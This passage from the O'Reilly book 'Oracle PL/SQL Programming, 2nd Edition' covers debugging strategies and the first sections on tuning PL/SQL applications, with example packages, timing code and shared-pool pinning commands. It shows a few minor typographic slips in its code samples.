If you do find yourself questioning a basic element or rule in the compiler that has always worked for you in the past (but maybe not in this precise circumstance, right?), it is time to take a break. Better yet, it is time to get someone else to look at your code. It is amazing how another pair of eyes can focus your own analytical powers on the real causes of a problem.

Strive to be the Spock of Programming. Accept only what is logical. Reject that which has no explanation.

24.2.3 Analyze Instead of Trying

So you have a pile of data, all the clues you could ask for in profiling the symptoms of your problem. Now it is time to analyze that data. For many people, analysis takes the following form: "Hmm, this looks like it could be the answer. I'll make this change, recompile, and try it to see if it works."

What's wrong with this approach? When you try a solution to see what will happen, what you are really saying is:

  • You are not sure that the change really is a solution. If you were sure, you wouldn't "try" it to see what would happen. You would make the change and then test that change.

  • You have not fully analyzed the error to understand what causes it to happen. If you know why an error occurs, then you know if a particular change will fix that problem. If you are unsure about the source of the error, you will be tempted to simply try a change and examine the impact. This is, unfortunately, very faulty logic.

  • Even if the change stops the error from occurring, you cannot be sure that your "solution" really solved anything. Because you are not sure why the problem occurred, the simple fact that the problem does not appear with your particular test (or tests) does not mean that you fixed the bug. The most you can say is that your change stopped the bug from occurring under certain, perhaps even most, circumstances.

To truly solve a problem, you must completely analyze the cause of the problem. Once you understand why the problem occurs, you have found the root cause and you can take the steps necessary to make sure the problem goes away in all circumstances.

When you identify a potential solution, perform a walk-through of your code based on that change. Don't execute your form. Examine your program and mentally try out different scenarios to test your hypothesis. Once you are certain that your change actually does address the problem, you can then perform a test of that solution. You won't be trying anything; you will be verifying a fix.

Analyze your bug fully before you try solutions. If you say to yourself, "Why don't I try this?" in the hope that it will solve the problem, then you are wasting your time and debugging inefficiently.

24.2.4 Take Breaks and Ask for Help

We are often our own biggest obstacles when it comes to sorting out our problems, whether a program bug or a personal crisis. When you are stuck on the inside of a problem, it is hard to maintain an objective distance and, with that distance, a fresh look.

When you are making absolutely no progress and feel that you have tried everything, try these two radical techniques:

  • Take a break

  • Ask for help

When I have struggled with a bug for any length of time without success, I not only become ineffective, I also tend to lose perspective. I pursue irrational and superstitious leads. I lose track of what I have already tested and what I have assumed to be right. I get too close to the problem to debug it effectively.

My frustration level usually correlates closely to the amount of time I have sat in my ergonomic chair and perched over my wrist-padded keyboard and stared at my low-radiation screen. Often the very simple act of stepping away from the workstation will clear my head and leave room for a solution to pop into place. Did you ever wake up the morning after a very difficult day at work to find the elusive answer sitting there at the end of your dream?

Make it a rule to get up and walk around at least once an hour when you are working on a problem -- heck, even when you are writing your programs. Give your brain a chance to let its neural networks make the connections and develop new options for your programming. There is a whole big world out there. Even when your eyes are glued to the monitor and your source code, the world keeps turning. It never hurts to remind yourself of the bigger picture, even if that only amounts to taking note of the weather outside your air-conditioned cocoon.

Even more effective than taking a break is asking another person to look at your problem. There is something entirely magical about the dynamic of adding another pair of eyes to the situation. You might have struggled without any result for an hour or two on a problem, and finally, out of desperation, asked a coworker to have a go at it. Then, at the exact moment that you explain the problem to your friend, the solution will jump out at you. It could be a mismatch on names, a false assumption, or a misunderstanding of the IF statement logic. Whatever the case, chances are that you yourself will find it (even though you couldn't for the last two hours) as soon as you ask someone else to find it for you.

If the error does not yield itself quite that easily, you still have lots to gain from the perspective of another person who (a) did not write the code and has no subconscious assumptions or biases about the code, and (b) isn't mad at the program.

Other benefits accrue from asking for help. You improve the self-esteem and self-confidence of other programmers by showing that you respect their opinions. If you are one of the best developers in the group, then your request for help demonstrates that you, too, make mistakes and need help from the team to move forward. This builds the sense (and reality) of teamwork, which will improve the overall development and testing efforts on the project.

24.2.5 Change and Test One Area of Code at a Time

One of my biggest problems when I debug my code is that I try to make too many changes at once. I am overconfident about my development and debugging skills. So I make five or ten changes, rerun my test, and get very unreliable and minimally useful results. I find that my changes cause other problems (a common phenomenon until a program stabilizes and a sure sign that lots more debugging and testing is needed), that some of the original errors are gone, but not all of them, and I have no idea which changes fixed which errors, and which changes caused new errors.

In short, my debugging effort is a mess and I have to back out of changes until I have a clearer picture of what is happening in my program.

Unless you are making very simple changes, you should fix one problem at a time and then test that fix. The amount of time it takes to compile, generate, and test may increase, but in the long run you will be much more productive.

One other aspect of incremental testing and debugging is performing "unit tests" on individual modules before you test a program which calls these various modules. If you test the programs separately and determine that they work, when you debug your application as a whole (in a system test), you do not have to worry about whether those modules return correct values or perform the correct actions. Instead, you can concentrate on the code that calls the modules.

24.2.6 Document and Back Up Your Efforts

Are you offended that I would even say this? Of course we all back up our programs. Of course we all document our efforts.

And pigs can fly.

What I personally cannot believe is that, as recently as September, 1994, I managed to delete the entire contents of my source code directory for a data transfer utility. Sure, there was a backup -- on tape. It was already archived. It took the operations department five hours to recover my code and then I still lost three hours of work from that morning. You see, I hadn't bothered to back up my code to my own convenient refresh directory. And I had decided to clean up my UNIX subdirectories of old data files. My clean-up script, sad to say, had a bug in it, which caused it to remain in my source directory and remove all files.

You can snicker all you want, but the same thing has happened to you, and will happen again, unless you constantly remind yourself to:

  • Archive your original program version

  • Copy incremental versions to different files

  • Save your current changes

Suppose you have finished development on a very complex and difficult program. You are not surprised when you discover many different bugs. You hunker right down to the task of analyzing and fixing the errors. As you complete a number of fixes, you should save that program out to a different file so that you have "frozen" a version to which you can return if necessary. Then if, as you continue debugging, you take a wrong turn and code yourself into a nonproductive corner, you do not have to spend time surgically removing your mistakes. You can instead shift back to an earlier version of the program.

Clearly, there are source code control programs such as PVCS that handle these functions for you. In many cases with Oracle software, however, these utilities are not used and it is completely up to you to take the steps necessary to protect yourself and your code.

24.2.7 Test All Assumptions

Every move you make, every test you take, every line of code you write has assumptions attached to it. You need to be conscious of those assumptions and, when you start your debug cycle, test those assumptions to make sure they are valid.

I recently wasted several hours debugging a problem. I could have solved it in about three minutes -- if I'd properly tested my assumptions. A stored function accepted three parameters and returned a value as shown below:

new_rate := mortgage_rate (down_payment, prime_rate, mortgage_type);

The mortgage_rate function was, unfortunately, setting new_rate to NULL. After examining the function, it was clear to me that the only way it could return a NULL was if one of the inputs was NULL. I then used this information as follows:

  1. I had just examined the global variable holding the mortgage type. That global value was transferred to the mortgage_type variable in an earlier program and passed to my current module, so I knew that it was OK.

  2. I performed a walk-through of the code and could not identify how any of the other two variables could be NULL.

  3. So I inserted a trace statement before and after the call to mortgage_rate. My code now looked like this:

    DBMS_OUTPUT.PUT_LINE
   ('Inputs: ' || TO_CHAR (down_payment) || '-' ||
    TO_CHAR  (prime_rate));

new_rate := mortgage_rate (
   down_payment, prime_rate,
   bank, mortgage_type);

DBMS_OUTPUT.PUT_LINE ('Rate: ' || NVL (TO_CHAR (new_rate), 'Missing'));

  4. I ran the program and no matter what data I entered on the screen, my trace statements remained the same:

    Inputs: 55000-9.5
Rate: Missing

I wracked my obviously overwrought brain: what could cause a stored function to return a NULL value? I looked at the source code for the function again. There wasn't much to it. Just division and multiplication. How could it return a NULL without a NULL input?

After two hours of this nonsense, I finally said to myself, "Well, you know that you really haven't verified the value of the mortgage_type variable." I knew that it was OK, but, hey, it wouldn't hurt to check -- and if I didn't solve this one soon I would have to actually ask for help.

So I modified my trace statement and, sure enough, the mortgage type was NULL. Turns out that while the global variable held the proper value, the previous program did not pass it to the local variable properly. My assumption did me in.

One of the first assumptions you will make in your testing is that you have valid inputs to your program. This can also be one of the most dangerous assumptions to make.

Data errors are perhaps the most frustrating of all the kinds of bugs you will encounter. You follow all the right steps for debugging and analyzing your code, only to discover that there is nothing actually wrong with your program. Instead, the data that drives your program is wrong.

I encounter this problem most often in the following situations:

  • I am testing my code in multiple database instances. Never assume that the data structures and actual rows of data are identical in all instances. Never assume that all indexes have been defined the same way.

  • The reference data is still unstable. What is the valid code for a "closed" call? What are the ten valid company types? If this data is still changing, your program is likely to break.

If you do not understand why your program is doing what it is doing, make a list of all your assumptions and then test those -- including the data you rely on to run your program. There is a good chance that your error was introduced very early into the process.

24.2.8 Leverage Existing Utilities -- Or Build Your Own

As you build more and more complex programs, you will find it increasingly difficult and incredibly frustrating to manage and debug these programs without a utility of some kind. Take the time to investigate what is available and what it will do for you.

Historically, Oracle Corporation has been very slow to offer debugging and other programmer-oriented utilities. Third-party vendors seem to have taken a clue from Oracle and also have not hurried to provide a strong set of tools for PL/SQL developers. As of mid-year 1997, that situation is finally changing. You can now purchase debuggers from the following vendors:

  • Oracle Corporation: Procedure Builder

  • Platinum Technology: SQL Station Debugger

  • Technosolutions: SQL Navigator

  • Compuware: XPediter/SQL

All of these products greatly improve the ability to debug client-side PL/SQL; you will need to carefully examine the specific benefits and features before deciding which of these (and, I hope, by the time this book is published, others as well) fit your needs most closely.

If, on the other hand, you cannot find anything that will help (or you can't get the approval to buy the utility of your dreams), you might consider building your own. I have found in the past that it is relatively straightforward to implement utilities that have a significant impact on my debugging capabilities. I built XRay Vision, a debugger for SQL*Forms, implemented entirely in SQL*Forms itself, which gave me the ability to view and modify all variables in my programs. You'll find this debugger, xrayvizn.zip, on the RevealNet Web site. While you are unlikely to be using SQL*Forms at this point, you may find the source code of interest (stored in the good, old INP files).

When Oracle Forms 4.x (even the version in Oracle Developer/2000 that has its own source code debugger) came along, I realized that it was impossible to view and change data structures created at runtime (record groups, parameter lists, etc.). So I built a utility named Arjy (pronounced "RG" for Record Group), which gave me that access. The shareware version of Arjy, arjy.zip is also available at the RevealNet Web site.

The basic PL/SQL product from Oracle Corporation will never have everything you need. If you can't find what you need to get the job done, then get creative and take a crack at meeting your own needs. Dive in and build your own utility. Not only will you improve your productivity (and that of others), but you will gain a feeling of intense satisfaction from solving your own problems all by yourself.

24.2.9 Build Debugging Messages into Your Packages

If you do not use a GUI-based, source code debugger, you probably spend a fair amount of time throwing debug or trace messages into your code and then removing them when things are fixed. A much better approach is to leave these messages intact, but give yourself lots of flexibility in deciding when you want to see them.

The simplest model for this technique is actually built right into the DBMS_OUTPUT package. The DBMS_OUTPUT.PUT_LINE procedure displays output from your PL/SQL program when that program completes execution. But it will not show anything unless the package itself is enabled with a call to DBMS_OUTPUT.ENABLE and/or unless from within SQL*Plus you issue the SET SERVEROUTPUT ON command. Furthermore, this is an all-or-nothing proposition: you either see no output, or you see output from every call to this procedure from every corner of your application. That can be overwhelming if you have inserted lots of trace messages.

You can easily come up with a more discerning technique when working with packages. Suppose I have developed a package to perform calculations for profit-and-loss statements. My p_and_l package maintains a last statement date as a global variable for use within the package. I build a "get and set" layer of code around the variable so that applications can retrieve and manipulate the variable -- but only through my code layer. Here is the package:

CREATE OR REPLACE PACKAGE p_and_l
IS
   PROCEDURE set_lastdate (date_in IN DATE);
   FUNCTION lastdate RETURN DATE;

   /* Lots of other stuff, too! */
   . . .
END p_and_l;
/

CREATE OR REPLACE PACKAGE BODY p_and_l
IS
   g_lastdate DATE;

   PROCEDURE set_lastdate (date_in IN DATE)
   IS
   BEGIN
      /* Date cannot be in future. */
      g_lastdate := LEAST (SYSDATE, date_in);
   END;

   FUNCTION lastdate RETURN DATE
   IS
   BEGIN
      RETURN g_lastdate;
   END;
END p_and_l;
/

As I test this package as part of a large, complex application, suppose that I find that the last date variable is being set improperly, but I can't figure out what is doing it and why. I can go into the p_and_l.set_lastdate procedure and insert a call to DBMS_OUTPUT.PUT_LINE as follows:

PROCEDURE set_lastdate (date_in IN DATE)
IS
BEGIN
   DBMS_OUTPUT.PUT_LINE (`setting date to ` || TO_CHAR (date_in));
   /* Date cannot be in future. */
   g_lastdate := LEAST (SYSDATE, date_in);
END;

but then I have to see all the output in my application and try to find this one statement among all the others. The approach I take instead is to provide a debug "toggle" in my package which allows me to focus output to just the statements I need to see. With the toggle technique, I add three programs to my package specification:

CREATE OR REPLACE PACKAGE p_and_l
IS
   PROCEDURE set_lastdate (date_in IN DATE);
   FUNCTION lastdate RETURN DATE;

   PROCEDURE dbg;
   PROCEURE nodbg;
   FUNCTION debugging RETURN BOOLEAN;

   /* Lots of other stuff, too! */
   . . .
END p_and_l;
/

I also modify the package body to both implement this toggle and use it inside the set_lastdate procedure:

CREATE OR REPLACE PACKAGE BODY p_and_l
IS
   g_lastdate DATE;
   g_dbg BOOLEAN := FALSE;

   PROCEDURE dbg IS BEGIN g_dbg := TRUE; END;
   PROCEDURE nodbg IS BEGIN g_dbg := FALSE; END;
   FUNCTION debugging RETURN BOOLEAN RETURN g_dbg; END;

   PROCEDURE set_lastdate (date_in IN DATE)
   IS
   BEGIN
      IF debugging
      THEN
         DBMS_OUTPUT.PUT_LINE (`before set ` || TO_CHAR (g_lastdate));
      END IF;

      /* Date cannot be in future. */
      g_lastdate := LEAST (SYSDATE, date_in);

      IF debugging
      THEN
         DBMS_OUTPUT.PUT_LINE (`after set ` || TO_CHAR (g_lastdate));
      END IF;
   END;

   FUNCTION lastdate RETURN DATE
   IS
   BEGIN
      RETURN g_lastdate;
   END;
END p_and_l;
/

Then if I want to see what is happening to the g_lastdate variable, I can issue the debug command in SQL*Plus for this package and see just the output I need:

SQL> exec p_and_l.dbg
SQL> exec testing_program
before set 12-JAN-97
after set 15-JAN-97

Of course, you'd probably want to see more information, such as the execution call stack to see what program called the p_and_l.set_lastdate procedure. You can add anything you want -- all within the confines of the IF debugging clause -- and that information will be available only on a need-to-know basis. You might even decide to free yourself from the confines of DBMS_OUTPUT by writing information out to a database pipe.

Furthermore, if you set as a standard in your group that every package is to have a debug toggle, then it will be much easier for users of those packages to debug their own use (or misuse) of that reusable code. They know that there will be a program named PKG.dbg which can be used to extract additional information about package processing.

This technique is explored in more detail and with a slightly different focus (production support) in Chapter 26, Tracing PL/SQL Execution.

Previous: 24.1 The Wrong Way to Debug | Oracle PL/SQL Programming, 2nd Edition | Next: 25. Tuning PL/SQL Applications
24.1 The Wrong Way to Debug | Book Index | 25. Tuning PL/SQL Applications
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 25] Tuning PL/SQL Applications

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book
Previous: 24.2 Debugging Tips and Strategies Chapter 25 Next: 25.2 Tuning Access to Compiled Code

25. Tuning PL/SQL Applications

Contents:
Analyzing Program Performance
Tuning Access to Compiled Code
Tuning Access to Your Data
Tuning Your Algorithms
Overview of PL/SQL8 Enhancements

Tuning an application is a very complicated process. Really, it deserves a book of its own. Fortunately, there is such a book: Oracle Performance Tuning by Mark Gurry and Peter Corrigan.[1] Many of the ideas in this section are drawn from -- and explored more thoroughly in -- Gurry and Corrigan's book.

[1] O'Reilly & Associates, Second Edition, 1996. There are other books on Oracle tuning as well.

Before diving into the particulars, I want to be sure that you recognize the different aspects of tuning PL/SQL that you might want to perform:

  • Analyzing program performance. Before you can tune your application, you need to figure out what is running slowly and where you should focus your efforts.

  • Tuning access to compiled code. Before your code can be executed (and perhaps run too slowly), it must be loaded into the System Global Area (SGA) of the Oracle instance. This process can benefit from a focused tuning effort.

  • Tuning access to your data. Much of the tuning you do will attempt to optimize the way PL/SQL programs manipulate data in the Oracle database, both queries and DML (updates, inserts, deletes). Lots of the issues here involve tuning SQL statements (out of the scope of this book), but there are certainly steps you can take in your PL/SQL code and environment to improve the performance of even an optimally constructed chunk of SQL.

  • Tuning your algorithms. As a procedural language, PL/SQL is often used to implement complex formulas and algorithms. You make use of conditional statements, loops, perhaps even GOTOs and reusable modules (I hope) to get the job done. These algorithms can be written in many different ways, some of which perform very badly. How do you tune poorly written algorithms? A tough question with no simple answers; I offer some case studies at the end of this chapter which will perhaps give you some fresh approaches to bring to bear on your own code.

The following sections address each of these areas of PL/SQL tuning.

25.1 Analyzing Program Performance

Before you can tune your application, you need to know what is causing it to slow down. To do this, you usually need to be able to analyze the performance of your application. Oracle offers a number of database monitoring and diagnostic tools, as do third-party vendors like Platinum Technology and Quest. Check Oracle documentation and Chapter 10 of Oracle Performance Tuning for more details, and be aware of the following major tools:

MONITOR

A SQL*DBA facility that lets you look at various system activity and performance tables.

SQL_TRACE

A utility that writes a trace file containing performance statistics.

TKPROF

A utility that translates the SQL_TRACE file into readable output and can also show the execution plan for a SQL statement.

EXPLAIN PLAN

A statement that analyzes and displays the execution plan for a SQL statement.

ORADBX

An undocumented tool that allows you to track a running process and create a trace file in the same format as the SQL_TRACE trace file. You can then run TKPROF against the trace file to obtain the execution plan details, as well as disk I/O, parsing, and CPU usage.

ANALYZE

A statement that compiles statistics for use by the cost-based optimizer to construct its execution plan. The statement also produces other useful information that can be used to detect chained rows and help with capacity planning.

UTLBSTAT (begin) and UTLESTAT (end)

Scripts that produce a snapshot of how the database is performing from the time you start UTLBSTAT until you run UTLESTAT.

Enterprise Manager/Performance Pack

An Oracle product introduced with Oracle7.3 that provides some excellent tuning tools, including Oracle Performance Manager, Oracle Trace, and Oracle Expert.

25.1.1 Use the DBMS_UTILITY.GET_TIME Function

The tools listed in the previous section provide varying levels of detail and granularity; however, they all do require some effort -- often on the part of a person other than the PL/SQL developer in need -- to get them enabled. And then they require even more effort to interpret results. Don't get me wrong; I am not really complaining. It's just that, quite frankly, PL/SQL developers often want to examine the performance of a particular program and do not want to have to deal with all that other stuff.

No problem! PL/SQL provides a mechanism to obtain timings of code execution that are accurate to 100th of a second: the DBMS_UTILTY.GET_TIME function. Yes, that's right. I said 100th of a second. For those of you who have programmed in Oracle over the past few years, this should be a welcome surprise. Before the advent of the DBMS_UTILITY package, the only way to measure elapsed time was to use SYSDATE and examine the difference in the time component. Sadly, this component only records times down to the nearest second. This doesn't help much when you need to measure subsecond response time.

DBMS_UTILTY.GET_TIME returns the number of hundredths of seconds which have elapsed since some arbitrary point in time. I don't remember what that point is and, well, that's the whole point. A single value returned by a call to dbms_utility.get_time is, by itself, meaningless. If, on the other hand, you call this built-in function twice and then take the difference between the two returned values, you will have determined the number of hundredths of seconds which elapsed between the two calls. So if you sandwich the execution of your own program between calls to DBMS_UTILTY.GET_TIME, you will have discovered how long it takes to run that program.

The anonymous block below shows how to use GET_TIME to determine the time it takes to perform the calc_totals procedure:

DECLARE
   time_before BINARY_INTEGER;
   time_after BINARY_INTEGER;
BEGIN
   time_before := DBMS_UTILITY.GET_TIME;
   calc_totals;
   time_after := DBMS_UTILITY.GET_TIME;
   DBMS_OUTPUT.PUT_LINE (time_after - time_before);
END;

I found myself relying on GET_TIME frequently as I developed the code in this book, because I wanted to analyze the performance impact of a particular approach or technique. Is it faster to raise an exception or execute an IF statement? Is it faster to load 100 rows in a table or concatenate 100 substrings into a long string?

There are two basic approaches you can take to using this handy function:

  • Write again and again the kind of script you see above, changing the program or lines of code executed.

  • Encapsulate the way dbms_utility.get_time operates inside a package, which will hide the details and make it easier to use.

You will find on the companion disk an explanation and code for such a package, sp_timer, in the files sptimer.sps and sptimer.spb. In addition, you will find in Advanced Oracle PL/SQL Programming with Packages a more complete performance timing utility based on DBMS_UTILITY.GET_TIME in the PLVtmr package.

Once you have encapsulated your usage of DBMS_UTILITY.GET_TIME, it is very easy to put together scripts which not only analyze performance, but also compare different implementations. The following script, for example, executes two different versions of the is_number function (see "Section 25.4, "Tuning Your Algorithms"" for more information on this function) and displays the resulting elapsed times (using the PLVtmr and p packages from the PL/Vision library; again, see Advanced Oracle PL/SQL Programming with Packages:

SET VERIFY OFF
DECLARE
   b BOOLEAN;
BEGIN
   PLVtmr.set_factor (&1)
   PLVtmr.capture;
   FOR repind IN 1 .. &1 -- Number of iterations
   LOOP
      b := isnum ('&2'); -- The string to test
      IF repind = 1
      THEN
         p.l (b);
      END IF;
   END LOOP;
   PLVtmr.show_elapsed (`TO_NUMBER Version');

   PLVtmr.set_factor (&1)
   PLVtmr.capture;
   FOR repind IN 1 .. &1
   LOOP
      b := isnum_translate ('&2');
      PLVtmr.last_timing := 15;
      IF repind = 1
      THEN
         p.l (b);
      END IF;
   END LOOP;

   PLVtmr.show_elapsed (`TRANSLATE Version');

 END;

/

Previous: 24.2 Debugging Tips and Strategies | Oracle PL/SQL Programming, 2nd Edition | Next: 25.2 Tuning Access to Compiled Code
24.2 Debugging Tips and Strategies | Book Index | 25.2 Tuning Access to Compiled Code
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 25] 25.2 Tuning Access to Compiled Code

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

25.2 Tuning Access to Compiled Code

Before your code can be executed (and perhaps run too slowly), it must be loaded into the System Global Area (SGA) of the Oracle instance (described in more detail in Chapter 23, Managing Code in the Database). There are two elements to PL/SQL code in shared memory: the code segment and the data segment. This loading process can benefit from its own special tuning effort.

25.2.1 Tune the Size of the Shared Pool of the SGA

Before you can execute a stored package module or reference a stored package object, the compiled code for that package must be loaded into the SGA. Clearly, if the package is already present in shared memory, your code executes more quickly. An important element of tuning an application which is heavily dependent on stored packages (especially large ones) is to optimize package access so that the most often-used packages are always present when needed.

The default method for maintaining packages in the SGA (or "shared pool") is to let the RDBMS manage the code using its least-recently-used algorithm. The first time you reference a package, the compiled code is loaded into the shared pool. It is then available to anyone with EXECUTE authority on that package. It remains in the shared pool until the memory is needed by other memory-based resources and that package has not been used most recently. At that point, the package is flushed from the shared pool. The next time an object in the package is needed, the whole package has to be loaded once again into memory.

The larger your shared pool, the more likely it is that your programs will be resident in memory the next time they are needed. Yet if you make your shared pool too large, you will be wasting memory. You should monitor your shared buffer pool to make sure it is retaining all the parsed SQL cursors and PL/SQL code segments which are commonly referenced in your application. If you find that too much swapping is occurring, increase the size of the shared buffer pool (as physical memory permits) by adjusting the SHARED_POOL_SIZE parameter in your INIT.ORA file.

You can display all the objects currently in the shared pool that are larger than a specified size (in the example, 25KB) with the following statement (make sure you have SET SERVEROUTPUT ON in SQL*Plus before you make this call):

SQL> exec dbms_shared_pool.sizes (25);

25.2.2 Pin Critical Code into the SGA

To increase your ability to tune application performance, Oracle supplies the DBMS_SHARED_POOL package to pin a package in the shared pool. When a package is pinned, the RDBMS does not apply its least-recently-used algorithm to that package. The package remains in memory for as long as the database instance is available (or until you explicitly "unpin" the package, as described below).

At this time, only packages can be pinned in the shared pool; this fact provides added incentive to define your procedures and functions inside packages, rather than as standalone modules.

You will only want to pin code when absolutely necessary, since you can end up setting aside too much memory for code, resulting in a degradation in performance of other aspects of the application. In fact, Oracle Corporation warns that the KEEP and UNKEEP procedures may not be supported in future releases, since it might provide an "automatic mechanism" which replaces these procedures.

The usual candidates for pinning are particularly large programs. Prior to Oracle 7.3, Oracle requires contiguous memory in the SGA to store the code, so if sufficient space is not available at a given point of execution, Oracle will either raise an error or start swapping out other programs to make room. Neither scenario is optimal.

Usually you will pin programs right after the database is started up, so that all the critical elements of your application are in place for all users. Here is an example of the pinning of the order entry package (owned by the appowner schema):

DBMS_SHARED_POOL.KEEP ('appowner.ordentry');

Here is the code you would execute to unpin the same package from shared memory:

DBMS_SHARED_POOL.UNKEEP ('appowner.ordentry');

Keep the following factors in mind when working with the DBMS_SHARED_POOL package:

  • When you call the KEEP procedure, the package is "queued" for pinning in the SGA. However, the KEEP procedure does not immediately load the package into the shared pool -- that happens when the package is first referenced, either to execute a module or to use one of the declared objects, such as a global variable or a cursor.

  • Oracle recommends that you pin all your packages in the shared pool soon after instance startup, when the SGA is still relatively unfragmented. That way it can set aside contiguous blocks of memory for large packages.

  • If you pin a package which is not owned by SYS (DBMS_OUTPUT, for example, is owned by SYS), you must grant EXECUTE on the package to PUBLIC before you execute the KEEP procedure. Once you have pinned the package, you can revoke the PUBLIC access.

  • The SQL DDL command, ALTER SYSTEM FLUSH SHARED_POOL, does not affect pinned packages. You must either explicitly UNKEEP a package or restart the database to release the package from the shared pool.

25.2.2.1 Candidates for pinning in the shared pool

You might consider pinning the following packages in the shared pool to improve performance:

STANDARD

Package which implements the core elements of the PL/SQL language.

DBMS_STANDARD

Package of standard database-level modules, such as RAISE_APPLICATION_ERROR.

DBMS_UTILITY

Package of low-level database utilities which are used to analyze schemas and objects.

DBMS_DESCRIBE

Package containing a utility to describe the structure of a stored module.

DBMS_OUTPUT

Package which allows programmers to display output to the screen.

In addition, if you make frequent use of any other Oracle-provided "SYS" packages such as DBMS_LOCK or DBMS_PIPE, pinning those objects could improve performance as well.

You are probably getting the idea that the more you pin into the shared pool, the better off you are. Certainly that is true, at least as true as the statement: "If all your data is stashed in memory, your applications will run much faster." Memory is always quicker than disk access. The problem is making sure you have enough memory.

The more you pin into the shared pool, the less space is left in the SGA for other memory-based resources, such as data dictionary latches, application data, and shared SQL. Since a pinned object is never aged out of the SGA using a least-recently-used algorithm, other elements in the SGA are instead pushed out of the way.

You can use SQL to generate a script to KEEP packages in the SGA. You can use the following SQL statement to access the v$db_object_cache to generate a KEEP for each package currently in the shared pool:

SELECT 'EXECUTE DBMS_SHARED_POOL.KEEP('''||name||''');'
  FROM v$db_object_cache
 WHERE type='PACKAGE';

You can also generate a KEEP statement for every package currently stored in the database with these other SQL statements:

SELECT DISTINCT 'EXECUTE DBMS_SHARED_POOL.KEEP('''||name||''');'
  FROM user_source
 WHERE type='PACKAGE';

SELECT DISTINCT 'EXECUTE DBMS_SHARED_POOL.KEEP('''||object_name||''');'

 FROM user_objects

 WHERE object_type='PACKAGE';

25.2.3 Tune ACCESS$ Table to Reduce First Execution Time of Code

When a database object is first referenced in a PL/SQL program, the PL/SQL engine checks the ACCESS$ table (owned by SYS) to see if the executor of the program has authority on that database object. The structure of this table is shown here:

SQL> desc access$
 Name                            Null?    Type
 ------------------------------- -------- ----
 D_OBJ#                          NOT NULL NUMBER
 ORDER#                          NOT NULL NUMBER
 COLUMNS                                  RAW(32)
 TYPES                           NOT NULL NUMBER

The PL/SQL engine searches through this table on the D_OBJ# column, so if you create a nonunique index on the D_OBJ# column, you may in some cases reduce significantly the amount of time needed to perform this security check.

25.2.4 Creating Packages with Minimal Interdependencies

Design your code (preferably, most of it inside packages) so that you only load into memory the code you need at any given moment in time. To accomplish this objective, you should create more smaller packages, each of which is tightly focused on implementing functionality in a given area. The alternative, which too many of us employ without giving it much thought, is to create a few large packages that group together lots of different elements of functionality.

The problem with this approach is that if I need to execute one function in that 32K package, the entire package still must be loaded up into memory. Suppose that my application then touches another element of the package, such as a constant or perhaps a different function in a different functional area. The least-recently-used algorithm will then ensure that all the memory for that package continues to be set aside, perhaps crowding out other smaller programs. The result can be excessive swapping of code.

As you build your programs and design your package interfaces, be on the lookout for an opportunity to break up a single package into two or even more distinct packages with minimal interdependencies.

25.2.5 Reducing Memory Usage of Package Variables

Prior to PL/SQL8, any data declared in a package simply stayed around until the end of the session, whether or not it was needed any more by the application. This is an important feature of PL/SQL packages (persistent, global data), but it limits scalability since such memory grows linearly with the number of users.

To help applications better manage memory usage, PL/SQL8 provides the pragma SERIALLY_REUSABLE, which lets you mark some packages as "serially reusable." You can so mark a package if its state is needed only for the duration of a call to the server (for example, an OCI call to the server, a PL/SQL client-to-server, or server-to-server RPC).

The global memory for such packages is not kept in the memory area per user, but instead in a small SGA pool. At the end of the call to the server, this memory is returned to the pool for reuse. Before reuse, the package global variables are initialized to NULL or to the default values provided.

The pool is kept in SGA memory so that the work area of a package can be reused across users who have requests for the same package. In this scheme, the maximum number of work areas needed for a package is only as many as there are concurrent users of the package, which is typically much fewer than the total number of logged on users. The use of "serially reusable" packages does increase the shared-pool requirements slightly, but this is more than offset by the decrease in the per-user memory requirements. Further, Oracle ages out work areas not in use when it needs to reclaim shared pool memory.

The following example shows how global variables in a "serially reusable" package behave across call boundaries:

CREATE OR REPLACE PACKAGE sr_pkg
IS
  PRAGMA SERIALLY_REUSABLE;
  num NUMBER := 0;
  PROCEDURE print_pkg;
  PROCEDURE init_pkg (n NUMBER);
END sr_pkg;
/
CREATE OR REPLACE PACKAGE BODY sr_pkg
IS
  -- the body is required to have the pragma since the
  -- specification of this package has the pragma
  PRAGMA SERIALLY_REUSABLE;
  -- Print package state
  PROCEDURE print_pkg is
  BEGIN
    DBMS_OUTPUT.PUT_LINE ('num: ' || sr_pkg.num);
  END;
  -- Initialize package state
  PROCEDURE init_pkg(n NUMBER) IS
  BEGIN
    sr_pkg.num := n;
  END;
END sr_pkg;
/

Now I will exercise this package. First, I enable output from SQL*Plus:

SQLPLUS> set serveroutput on;

Next, I initialize the package with a value of 4 and then display package contents -- all within a single PL/SQL block:

SQLPLUS> begin
           -- initialize and print the package
           SR_PKG.init_pkg(4);

           -- Print it in the same call to the server.
           -- We should see the new values.
           SR_PKG.print_pkg;
         end;
         /
Statement processed.
num: 4

And we see that initial value of 4. If I had not placed the call to sr_pkg.print_pkg inside the same PL/SQL block, however, that package variable would lose its setting, as you can see in the following steps:

SQLPLUS> begin
           -- We should see that the package state is reset to the
           -- initial (default) values.
           SR_PKG.print_pkg;
         end;
         /
Statement processed.
num: 0

Use this feature with care! Many of the packages I have constructed over the years absolutely rely on the persistent data feature.

Previous: 25.1 Analyzing Program Performance | Oracle PL/SQL Programming, 2nd Edition | Next: 25.3 Tuning Access to Your Data
25.1 Analyzing Program Performance | Book Index | 25.3 Tuning Access to Your Data
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 25] 25.3 Tuning Access to Your Data

Oracle PL/SQL Programming, 2nd Edition

